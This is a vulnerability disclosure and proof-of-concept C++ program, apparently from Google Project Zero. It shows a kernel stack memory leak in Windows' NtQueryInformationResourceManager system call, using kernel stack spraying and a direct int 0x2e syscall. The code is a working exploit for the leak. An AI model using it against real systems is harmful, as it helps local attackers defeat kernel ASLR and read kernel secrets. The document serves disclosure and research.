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/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1207 We have discovered that the nt!NtQueryInformationResourceManager system call called with the 0 information class discloses portions of uninitialized kernel stack memory to user-mode clients, on Windows 7 to Windows 10. The specific name of the 0 information class or the layout of the corresponding output buffer are unknown to us; however, we have determined that on 32-bit Windows platforms, an output size of 24 bytes is accepted. At the end of that memory area, 2 uninitialized bytes from the kernel stack can be leaked to the client application. The attached proof-of-concept program (specific to Windows 10 1607 32-bit) demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with infoclass=0 and the allowed output size. An example output is as follows: --- cut --- 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ......AA........ --- cut --- It is clearly visible here that 2 bytes copied from ring-0 to ring-3 remained uninitialized. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <winternl.h> #include <KtmW32.h> #include <cstdio> extern "C" ULONG WINAPI NtMapUserPhysicalPages( PVOID BaseAddress, ULONG NumberOfPages, PULONG PageFrameNumbers ); // For native 32-bit execution. extern "C" ULONG CDECL SystemCall32(DWORD ApiNumber, ...) { __asm{mov eax, ApiNumber}; __asm{lea edx, ApiNumber + 4}; __asm{int 0x2e}; } VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) { for (ULONG i = 0; i < size; i++) { ptr[i] = byte; } } VOID SprayKernelStack() { // Buffer allocated in static program memory, hence doesn't touch the local stack. static BYTE buffer[4096]; // Fill the buffer with 'A's and spray the kernel stack. MyMemset(buffer, 'A', sizeof(buffer)); NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer); // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's. MyMemset(buffer, 'B', sizeof(buffer)); } int main() { // Windows 10 1607 32-bit. CONST ULONG __NR_NtQueryInformationResourceManager = 0x00b6; // Create a volatile transaction manager. HANDLE hManager = CreateTransactionManager(NULL, NULL, TRANSACTION_MANAGER_VOLATILE, 0); if (hManager == INVALID_HANDLE_VALUE) { printf("CreateTransactionManager failed, %d\n", GetLastError()); return 1; } // Create a resource manager. GUID guid; ZeroMemory(&guid, sizeof(guid)); HANDLE hResource = CreateResourceManager(NULL, &guid, RESOURCE_MANAGER_VOLATILE, hManager, NULL); if (hResource == INVALID_HANDLE_VALUE) { printf("CreateResourceManager failed, %d\n", GetLastError()); CloseHandle(hManager); return 1; } // Spray the kernel stack to get visible results. SprayKernelStack(); // Trigger the vulnerability and print out the output structure. BYTE output[24] = { /* zero padding */ }; DWORD ReturnLength; NTSTATUS st = SystemCall32(__NR_NtQueryInformationResourceManager, hResource, 0, output, sizeof(output), &ReturnLength); if (!NT_SUCCESS(st)) { printf("NtQueryInformationResourceManager failed, %x\n", st); CloseHandle(hManager); CloseHandle(hResource); return 1; } PrintHex(output, ReturnLength); // Free resources. CloseHandle(hManager); CloseHandle(hResource); return 0; } |
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